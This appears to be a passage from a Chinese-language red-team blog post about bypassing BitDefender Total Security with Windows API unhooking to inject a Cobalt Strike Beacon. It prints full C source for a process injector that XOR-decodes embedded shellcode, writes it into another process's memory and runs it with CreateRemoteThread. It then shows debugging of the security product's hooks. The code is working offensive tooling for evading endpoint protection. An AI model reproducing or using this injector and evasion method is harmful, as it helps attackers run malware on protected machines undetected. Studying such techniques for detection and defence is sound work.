绕过端点防护软件(如AV/EDR)是红队行动中的一项重要工作,但是在完成这项工作之前,我们可能需要一些时间来了解这些防护软件是如何工作的。而随着网上发布了大量关于这个主题的资源,了解这些产品的工作原理以及如何绕过它们也变得更加容易。在这篇文章中,我将向大家展示如何利用windows API unhooking技术来绕过BitDefender全功能安全套装的。在此过程中,我们将为读者介绍关于API unhooking的概念,以及如何利用这种技术来绕过安全防护软件。
我们的主要目标是,在启动了BitDefender全功能安全套装的机器上,通过进程注入以获得一个“活蹦乱跳”的Cobalt Strike Beacon。
API hooking是一种用于拦截和检查win32 API调用的方法,这种技术被AV/EDR用来监视win32 API调用,并判断这些调用是否合法。所以简单来说,AV/EDR会通过在一个由解决方案本身控制的自定义模块中添加一个JMP指令来改变普通API调用的执行流程,该模块会扫描API调用及其参数,并检查它们是否合法。
这篇由Spotless撰写的文章解释了API hooking的工作原理,感兴趣的读者可以通过它来了解该技术的详细信息。
在之前的文章中,我介绍了如何先对shellcode进行编码,然后再在内存中进行解码,以实现免杀。下面,让我们再尝试一下这种技术,看看它针对BitDefender全功能安全套装是否有效。
像在上一篇文章中一样,用于对shellcode进行编码的代码并没有发生变化,具体如下所示:
#include
// This code was written for researching purpose, you have to edit it before using it in real-world
// This code will deocde your shellcode and write it directly to the memory
int main(int argc, char* argv[]) {
// Our Shellcode
unsigned char shellcode[] = "MyEncodedshellcode";
// Check arguments counter
if(argc != 2){
printf("[+] Usage : decoder.exe [PID]\n");
exit(0);
}
// The process id we want to inject our code to passed to the executable
// Use GetCurrentProcessId() to inject the shellcode into original process
int process_id = atoi(argv[1]);
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
// Retrive the process handle using OpenProcess
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
if (process) {
printf("[+] Handle retrieved successfully!\n");
printf("[+] Handle value is %p\n", process);
base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (base_address) {
printf("[+] Allocated based address is 0x%x\n", base_address);
// Data chars counter
int i;
// Base address counter
int n = 0;
for(i = 0; i<=sizeof(shellcode); i++){
// Decode shellcode opcode (you can edit it based on your encoder settings)
char DecodedOpCode = shellcode[i] ^ 0x01;
// Write the decoded bytes in memory address
if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
// Write the memory address where the data was written
printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);
// Increase memory address by 1
n++;
}
}
// Run our code as RemoteThread
CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, NULL, 0x50002);
}
else {
printf("[+] Unable to allocate memory ..\n");
}
}
else {
printf("[-] Enable to retrieve process handle\n");
}
}
当我编译文件并运行它来注入explorer.exe的shellcode后,我得到了以下结果:
BitDefender检测到该文件的执行情况并进行了拦截
我们可以看到,上述代码执行时被BitDefender检测到并被拦截,同时,“injector.exe”也被删除了。
那么,到底发生了什么,为什么上述代码在执行时会被拦截呢?
在重新编译可执行文件后,我开始进行调试,看看有没有外部DLL被注入到可执行文件中,结果如下所示:
注入的定制模块
我的可执行文件中加载了一个名为atcuf64.dll的文件,并且这个文件与BitDefender有关!
于是,我开始调试在shellcode注入过程中调用的主要win32API,当然,我从最可疑的 "CreateRemoteThread "开始调试的,反汇编结果如下所示:
CreateRemoteThread的反汇编代码
这里没有什么可疑的地方,但是,从执行流程中我们可以看到,我们将使用CreateRemoteThreadEx API,所以,我对其进行反汇编,结果如下所示: